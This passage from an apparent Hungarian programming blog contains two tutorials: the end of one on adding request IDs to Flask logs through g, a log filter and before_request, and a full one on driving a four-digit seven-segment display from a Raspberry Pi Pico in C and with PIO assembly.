        return 'Hello World\n'

app = MyFlask(__name__)
app.add_url_rule('/', view_func=HelloView.as_view('hello'))

if __name__ == '__main__':
    app.run()

A próbálkozásaim során sikerült még egyszer ugyanúgy lábon lőni magam, mint a logger esetében. Az első változatban a __context nem az __init__-ben kapott értéket, így mindenki ugyanazt a dict-et használta, ami miatt úgy tűnt, hogy nem lesz működőképes ez a megoldás. Nem tanultam elég gyorsan a hibáimból.

Egy kis kutakodás után rájöhetünk, hogy nem csak nekünk jutott eszünkbe, hogy a request-hez extra adatokat hozzáadni kívánatos dolog lehet, így lecserélhetjük a házibarkács megoldásunkat a Flask g változójára, amivel megszabadulhatunk egy jó adag kódtól.

class GContextLogger:
    def __init__(self, logger):
        self.__logger = logger

    def info(self, message):
        self.__logger.info(message, extra=g.log_context)

def add_request_id(logger):
    def decorator(f):
        @wraps(f)
        def decorated_function(self):
            request_id = uuid.uuid4()
            g.log_context = {'request_id': request_id}

            logger.info(f'hello from middleware ({request_id})')
            return f(self, request_id)
        return decorated_function
    return decorator

class HelloView(MethodView):
    logger = GContextLogger(logging.getLogger('view.hello'))

    @add_request_id(logger)
    def get(self, request_id):
        time.sleep(0.01)
        self.logger.info(f'hello from view ({request_id})')
        return 'Hello World\n'

Egy fokkal jobb, de még mindig nem az igazi. Mi történik például olyankor, ha a view dob egy kivételt és azt egy Flask-es error handler lekezeli, ami mellékesen logol is egyet? Rajta lesz az extra adat? És egy általunk használt külső modul logjain?

A "végleges" megoldás

Már amennyire bármi végleges lehet. Talán inkább az "éppen aktuális legjobb tudásunk szerinti megoldás, ami megfelel a jelenlegi követelményeknek" lenne a jó kifejezés. Először is szabaduljunk meg a GContextLogger osztálytól, hogy ne kelljen minden log példányosításunkat becsomagolnunk valamibe. Ehhez használhatunk Python-os log filtert, amit ugyan a logok szűrésére találtak ki, de gyakran használják ilyen esetekben is.

class LogContextFilter(Filter):
    def filter(self, record):
        if has_request_context() and hasattr(g, 'log_context'):
            for k, v in g.log_context.items():
                setattr(record, k, v)

        return True

Itt már egy kicsit óvatosabbak vagyunk a g.log_context elérésével. Csak akkor próbáljuk kiszedni belőle az adatokat, ha épp Flask-es kérést dolgozunk fel és már van benne log_context.

Megszabadulhatunk a logger példányosítástól is, használhatjuk helyette a Flask által felkonfigurált app.logger-t. Egyetlen hátránya, hogy így kézzel kell ráraknunk a logokra a view nevét (ha erre tényleg szükségünk van), mert a name mezőben az app.name értéke lesz.

def add_request_id():
    def decorator(f):
        @wraps(f)
        def decorated_function(self):
            request_id = uuid.uuid4()
            g.log_context = {
                'request_id': request_id,
                'view': self.__class__.__name__,
            }

            app.logger.info(f'hello from middleware ({request_id})')
            return f(self, request_id)
        return decorated_function
    return decorator

class HelloView(MethodView):
    @add_request_id()
    def get(self, request_id):
        time.sleep(0.01)
        app.logger.info(f'hello from view ({request_id})')
        return 'Hello World\n'

{
  "name": "test",
  "message": "hello from middleware (7575ef53-8764-4d17-967b-af2902691ac4)",
  "request_id": "7575ef53-8764-4d17-967b-af2902691ac4",
  "view": "HelloView"
}
{
  "name": "test",
  "message": "hello from view (7575ef53-8764-4d17-967b-af2902691ac4)",
  "request_id": "7575ef53-8764-4d17-967b-af2902691ac4",
  "view": "HelloView"
}

Végül megszabadulhatunk az add_request_id middleware-től is. Mivel jó eséllyel ezt minden kérésnél meg szeretnénk csinálni, lecserélhetjük egy globális megoldásra.

class HelloView(MethodView):
    def get(self):
        g.log_context['view'] = self.__class__.__name__

        app.logger.info(f'hello from view')
        return 'Hello World\n'

app = Flask(__name__)
app.add_url_rule('/', view_func=HelloView.as_view('hello'))

@app.before_request
def init_logging_context():
    g.log_context = {
        'request_id': uuid.uuid4(),
        'ip': request.remote_addr,
    }

Egy hátránya ennek a megoldásnak, hogy a before_request-nél nem tudjuk még milyen view fog futni, így nem is tudjuk belerakni a nevét a log_context-be.

Ezzel el is érkeztünk az éppen aktuális végleges megoldásunkhoz. Az egyes fázisokat teljes terjedelmükben meg lehet tekinteni a kapcsolódó Github repository-ban. További szép logolást.

Lassan két éve annak, hogy megjelent a Raspberry Pi Pico. Azóta már kijött a W jelzésű, Wi-Fi képes model is. Természetesen meg is rendeltem mindkettőt, de elég lassan jutottam el odáig, hogy valamit csináljak is velük. De ez a nap is eljött végre.

Egy négy karakteres 7-szegmensű kijelzőt fogunk vele meghajtani, méghozzá a PIO (programmable IO) segítségével, amik kis állapotgépek a Pico-n belül és assembly nyelven lehet rájuk programokat írni.

Előkészületek

A Raspberry Pi oldalán egész jó leírások vannak, hogy hogyan lehet fejlesztői környezeteket összerakni, úgyhogy erről most nem ejtenék túl sok szót.

Alapból nem túl fejlesztő barát a folyamat: lebuild-eled a programod, kihúzod az USB kábelt a Pico-ból, nyomva tartod a Pico-n lévő gombot, visszadugod az USB kábelt, a megjelenő háttértárra áthúzod a lebuild-elt U2F fájlt és már kész is vagyunk. Hogy is mondjam, egy kicsit megöli a hangulatot. Szerencsére vannak alternatív megoldások.

Én végül a Picoprobe + CLion irányba mentem, így az IDE-n belül egy gombnyomással lehet az új kódot a Pico-ra küldeni. Először Windows-on kezdtem el beállítani a dolgokat, de feladtam valahol a "build-eljünk OpenOCD-t MSYS2-vel" résznél és átnyargaltam Linuxra. Majd egyszer lehet újra nekifutok még WSL2-vel, ha valami kihívásra vágyok. Az összelövéshez a hivatalos dokumentáción kívül még ez a tweet is sokat segített.

A kijelző

Teljes nevén az SH5463AW-14

A kijelzőn 14 csatlakozási pont található, ezzel kellene valahogy működésre bírnunk azt a 33 szegmenst (a középső : egy szegmensnek számít), ami a karaktereket és a hozzájuk tartozó extra pontokat alkotják. Érezhető, hogy van itt valami huncutság, ami pedig nem más, mint hogy egyszerre mindig csak egy karaktert tudunk megjeleníteni a kijelzőn, de ha elég gyorsan váltogatjuk az éppen megjelenített karaktert, akkor a béna emberi szem számára úgy fog tűnni, mintha mind a négy világítana.

Ahhoz, hogy a megfelelő szegmens világítson, az alsó sorban szereplő pin-t 1-esre, a felső sorban szereplő COM pin-t pedig 0-ra kell állítanunk. Ha több helyen is ugyanazt a karaktert kell megjeleníteni, akkor több COM pin-t is 0-ra állíthatunk, de lehet nem éri meg ezzel vesződni a valóságban.

Nézzünk is meg egy - nem annyira - rövid példát. Mondjuk szeretnénk azt megjeleníteni, hogy 12:34:

1. a 9-es és 4-es pin-eket 1-esre állítjuk, a 14-est 0-ra
2. várunk egy picit
3. a 13, 9, 2, 1, 5 pin-eket 1-esre állítjuk, a 11-est 0-ra
4. várunk egy picit
5. a 8-as pin-t 1-esre állítjuk, a 7-est 0-ra
6. várunk egy picit
7. a 13, 9, 4, 2, 5 pin-eket 1-esre állítjuk, a 10-est 0-ra
8. várunk egy picit
9. a 9, 4, 12, 5 pin-eket 1-esre állítjuk, a 6-ost 0-ra
10. várunk egy picit
11. ugrás az első pontra

Ha nem ugranánk a végén rögtön vissza az elejére és csinálnánk ezt az idők végezetéig, akkor egy pillanatra látnánk csak felvillanni az értéket a kijelzőn.

Első próbálkozás

Legelőször tulajdonképpen a fent leírt folyamatot szerettem volna C kóddá változtatni. Ezzel letesztelem, hogy tényleg jól értelmeztem-e a kijelző adatlapját, a Pico SDK dokumentációját és jól is kötöttem össze a komponenseket egymással. A PIO ezen a ponton még csak felesleges bonyolítás lenne. A teljes kód megtekinthető Github-on.

Kezdjük egy kis konfigurációval:

c_only.c

const uint pin_map_display_to_pico[] = {
  0,
  16, 17, 18, 19, 20, 21, 22,
  9, 10, 11, 12, 13, 14, 15,
};

const uint A  = pin_map_display_to_pico[13];
const uint B  = pin_map_display_to_pico[9];
const uint C  = pin_map_display_to_pico[4];
const uint D  = pin_map_display_to_pico[2];
const uint E  = pin_map_display_to_pico[1];
const uint F  = pin_map_display_to_pico[12];
const uint G  = pin_map_display_to_pico[5];
const uint DP = pin_map_display_to_pico[3];
const uint D5 = pin_map_display_to_pico[8];

const uint COM_1    = pin_map_display_to_pico[14];
const uint COM_2    = pin_map_display_to_pico[11];
const uint COM_3    = pin_map_display_to_pico[10];
const uint COM_4    = pin_map_display_to_pico[6];
const uint COM_DOTS = pin_map_display_to_pico[7];

A D6-ot lehagytam, mert ugyanaz, mint a D5. A pin_map_display_to_pico tartalmazza, hogy melyik kijelző pin melyik Pico pin-nek felel meg (a nulla nincs értelmezve). A Pico-n a 9-22 pin-eket használtam.

c_only.c

stdio_init_all();
for (int i = 1; i < sizeof(pin_map) / sizeof(pin_map[0]); ++i) {
    gpio_init(pin_map[i]);
    gpio_set_dir(pin_map[i], GPIO_OUT);
}

Még egy kis inicializálás a lényeg előtt. Minden használt pin-t kimeneti módba állítunk. Ezek után nincs más hátra, mint egy jó hosszú végtelen ciklus, ami majdnem azt csinálja, amit fentebb már átvettünk:

c_only.c

// a kettőspont kiválasztása és megjelenítése
gpio_put(COM_DOTS, 0);
gpio_put(D5, 1);

while (true) {
  // az első karakter hely kiválasztása
  gpio_put(COM_1, 0);
  gpio_put(COM_2, 1);
  gpio_put(COM_3, 1);
  gpio_put(COM_4, 1);

  // az 1-es megjelenítése
  gpio_put(A, 0);
  gpio_put(B, 1);
  gpio_put(C, 1);
  gpio_put(D, 0);
  gpio_put(E, 0);
  gpio_put(F, 0);
  gpio_put(G, 0);
  gpio_put(DP, 0);

  // várunk egy picit
  sleep_ms(2);

  // a második karakter hely kiválasztása
  gpio_put(COM_1, 1);
  gpio_put(COM_2, 0);
  gpio_put(COM_3, 1);
  gpio_put(COM_4, 1);

  // a 2-es megjelenítése
  gpio_put(A, 1);
  gpio_put(B, 1);
  gpio_put(C, 0);
  gpio_put(D, 1);
  gpio_put(E, 1);
  gpio_put(F, 0);
  gpio_put(G, 1);
  gpio_put(DP, 0);

  // várunk egy picit
  sleep_ms(2);

  // a harmadik karakter hely kiválasztása
  gpio_put(COM_1, 1);
  gpio_put(COM_2, 1);
  gpio_put(COM_3, 0);
  gpio_put(COM_4, 1);

  // a 3-as megjelenítése
  gpio_put(A, 1);
  gpio_put(B, 1);
  gpio_put(C, 1);
  gpio_put(D, 1);
  gpio_put(E, 0);
  gpio_put(F, 0);
  gpio_put(G, 1);
  gpio_put(DP, 0);

  // várunk egy picit
  sleep_ms(2);

  // a negyedik karakter hely kiválasztása
  gpio_put(COM_1, 1);
  gpio_put(COM_2, 1);
  gpio_put(COM_3, 1);
  gpio_put(COM_4, 0);

  // a 4-es megjelenítése
  gpio_put(A, 0);
  gpio_put(B, 1);
  gpio_put(C, 1);
  gpio_put(D, 0);
  gpio_put(E, 0);
  gpio_put(F, 1);
  gpio_put(G, 1);
  gpio_put(DP, 0);

  // várunk egy picit
  sleep_ms(2);
}

A különbség annyi, hogy mivel a kettőspont nem függ semelyik másik karaktertől (nem osztozik velük egyetlen pin-ben sem), így külön bekapcsolhatjuk a legelején és utána már nem kell vele foglalkozni. Érdemes megfigyelni, hogy ilyenkor a : egy kicsit erősebben világít, mint a számok.

Egy kis PIO

Elsőre itt is valami viszonylag egyszerűvel kezdünk, csak hogy lássuk, minden megfelelően működik. A teljes kód szintén fent van Github-on.

basic_pio.pio

.program basic_pio

.define PUBLIC pin_count 14

loop:
  pull
  out pins, pin_count
  jmp loop

A pull behúzza a C kódból küldött 32 bit adatot (és blokkolja a futást addig, amíg nem érkezett adat), az out pedig ebből 14 bitet kiír az általunk meghatározott pin-ekre (a maradék felülíródik a következő pull-nál), majd kezdődik az egész elölről. A publikusan definiált pin_count-ot a C kódból is elérhetjük majd basic_pio_pin_count néven.

Hogy hol határoztuk meg ezeket a pin-eket? A pio fájlnak van még egy kis C-ben írt része is, ami az egész programot beállítja (nem mondom, hogy szimpatikus ez a nyelv vegyítés fájlon belül és a CLion-nak sem tetszik különösebben, de hát ez van):

basic_pio.pio

% c-sdk {
static inline void basic_pio_program_init(PIO pio, uint sm, uint offset, uint pin) {
  pio_sm_config config = basic_pio_program_get_default_config(offset);

  sm_config_set_out_pins(&config, pin, basic_pio_pin_count);

  for (uint i = 0; i < basic_pio_pin_count; ++i) {
    pio_gpio_init(pio, pin + i);
  }
  pio_sm_set_consecutive_pindirs(pio, sm, pin, basic_pio_pin_count, true);

  pio_sm_init(pio, sm, offset, &config);
  pio_sm_set_enabled(pio, sm, true);
}
%}

Következhet a C kód, amiből használni fogjuk ezt a PIO programot. A programnak 32 bit adatot fogunk küldeni, amiből valójában csak 14 bit lesz hasznos, ez a 14 bit határozza meg a 14 pin állapotát. Jobbról az első bit a 9-es pin-nek felel meg, az utolsó pedig a 22-es pin-nek.

//                             pin 9
//                                 v
uint example_data = 0b00010000000010;
//                    ^
//                    pin 22

Definiálhatunk néhány segéd konstanst, hogy könnyebb dolgunk legyen a számok megadásánál. A COM-ok megadása kicsit furcsa, mivel az összes többit kell egyesre állítani, nem azt, amelyiken megjeleníteni szeretnénk.

basic_pio.c

#define START_PIN 9

#define A  1 << (14 - START_PIN)
#define B  1 << (10 - START_PIN)
#define C  1 << (19 - START_PIN)
#define D  1 << (17 - START_PIN)
#define E  1 << (16 - START_PIN)
#define F  1 << (13 - START_PIN)
#define G  1 << (20 - START_PIN)
#define DP 1 << (18 - START_PIN)
#define D5 1 << (9 - START_PIN)

#define COM_1    1 << (15 - START_PIN)
#define COM_2    1 << (12 - START_PIN)
#define COM_3    1 << (11 - START_PIN)
#define COM_4    1 << (21 - START_PIN)
#define COM_DOTS 1 << (22 - START_PIN)

const uint one   = B|C|D5;
const uint two   = A|B|D|E|G;
const uint three = A|B|C|D|G;
const uint four  = B|C|F|G|DP;

const uint com_1 = COM_2|COM_3|COM_4;
const uint com_2 = COM_1|COM_3|COM_4|COM_DOTS;
const uint com_3 = COM_1|COM_2|COM_4|COM_DOTS;
const uint com_4 = COM_1|COM_2|COM_3|COM_DOTS;

A : bekapcsolása trükkös módon a one változóba van elrejtve, így már az a probléma sem áll fenn, hogy erősebben világítana, mint a többi.

Ahhoz, hogy használni tudjuk a PIO programot, be kell húznunk a CMake által generált header fájlt, ami esetemben egy #include "basic_pio.pio.h" sor volt a C fájl tetején. Majd kezdődhet a program beállítása.

basic_pio.c

const PIO pio = pio0;

const uint offset = pio_add_program(pio, &basic_pio_program);
const uint sm = pio_claim_unused_sm(pio, true);

basic_pio_program_init(pio, sm, offset, START_PIN);

Hozzáadjuk a programot, szerzünk egy használaton kívüli állapotgépet és felkonfiguráljuk.

Ezután már csak a megjelenítés marad. Kicsit rövidebb, mint a tisztán C változat, de lényegében ugyanazt csinálja.

basic_pio.c

while (true) {
  pio_sm_put(pio, sm, com_1|one);
  sleep_ms(2);
  pio_sm_put(pio, sm, com_2|two);
  sleep_ms(2);
  pio_sm_put(pio, sm, com_3|three);
  sleep_ms(2);
  pio_sm_put(pio, sm, com_4|four);
  sleep_ms(2);
}

A végeredmény

Az előző példában a megjelenítés időzítését továbbra is a C kód intézte, ami nem annyira szerencsés, ha valami mást is szeretnénk csinálni a kódban, nem csak ezzel a kijelzővel foglalkozni. Jó lenne egy olyan megoldás, hogy a PIO-nak átadjuk a adatokat, ő pedig megoldja a megjelenítéssel járó minden gondot és bajt.

Négyszer 14 bitnyi adatról van szó, úgyhogy nem férünk bele egy 32 bites változóba. Szerencsére az állapotgépnek két regisztere is van, amit használhatunk (x és y), úgyhogy kétszer 28 bitnyi adatként átküldhetjük neki a kijelző tartalmát. A PIO program feladata csak annyi lenne, hogy eltárolja ezt az adatot a két regiszterben és kiküldje őket 14 bites egységekben a GPIO pin-ekre, megfelelő ütemezésben.

advanced_pio.pio

.program advanced_pio

.define PUBLIC pin_count 14

.wrap_target
  mov isr, x
  mov x, y
  mov y, isr

  pull noblock
  mov x, osr

  out pins, pin_count [5]
  out pins, pin_count
.wrap

A .wrap_target/.wrap olyan, mint egy loop:/jmp loop az egész körül, de nem kerül extra utasításba.

Az első blokkban megcseréljük az x és az y regiszterben lévő értékeket, ehhez az isr-t (Input Shift Register) használjuk köztes tárnak, ami nem probléma, mert egyébként nincs használatban (a GPIO felől jövő adatok lennének benne, ha a pinek input módban lennének).

Ez után egy nem blokkoló pull következik, ami a C program felől érkező adatokat teszi el az osr-be (Output Shift Register, a GPIO felé menő adatok). A nem blokkoló pull egyik kellemes tulajdonsága, hogy ha nem jött adat, akkor az x regiszter tartalmát fogja az osr-be átmásolni. Így meg is van oldva az, hogy ha nincs új adat, akkor továbbra is a régit jelenítjük meg.

Ez után már csak kétszer 14 bitnyi adatot fogunk kitolni a pin-ekre. Az első out végén lévő [5] egy 5 utasításnyi késleltetés, így a kijelző szemszögéből nézve mindkét out után van 5 utasításnyi szünet.

A végeredmény az lesz, hogy felváltva szed ki az x és y regiszterekből kétszer 14 bitnyi adatot, valamint felváltva frissíti a regiszterek tartalmát az új bejövő adatokkal.

Természetesen ehhez a PIO programhoz is tartozik egy beállító függvényke, ami majdnem teljesen megegyezik az előző programunkhoz tartozóval.

advanced_pio.pio

% c-sdk {
#include "hardware/clocks.h"

static inline void advanced_pio_program_init(PIO pio, uint sm, uint offset, uint pin) {
  pio_sm_config config = advanced_pio_program_get_default_config(offset);

  sm_config_set_out_pins(&config, pin, advanced_pio_pin_count);

  float clock_divider = (float) clock_get_hz(clk_sys) / 2000000;
  sm_config_set_clkdiv(&config, clock_divider);

  for (uint i = 0; i < advanced_pio_pin_count; ++i) {
    pio_gpio_init(pio, pin + i);
  }
  pio_sm_set_consecutive_pindirs(pio, sm, pin, advanced_pio_pin_count, true);

  pio_sm_init(pio, sm, offset, &config);
  pio_sm_set_enabled(pio, sm, true);
}
%}

Az egyetlen különbség, hogy a sm_config_set_clkdiv segítségével lelassítjuk az állapotgép futását, hogy a kijelző számai megfelelő ütemben frissüljenek.

advanced_pio.c

pio_sm_put(pio, sm, ((com_1|one) << advanced_pio_pin_count) | com_2|two);
pio_sm_put(pio, sm, ((com_3|three) << advanced_pio_pin_count) | com_4|four);

while (true) {
  sleep_ms(1000);
}

A C programunk nagy része ugyanaz marad, mint az előző példa, csak a végtelen ciklus környékén változtatunk egy kicsit. A PIO programnak csak egyszer küldjük át az adatokat, onnantól bármit csinálhatunk a C programban, a kijelzőn a megfelelő érték fog megjelenni. És ez a kód is megtalálható Github-on.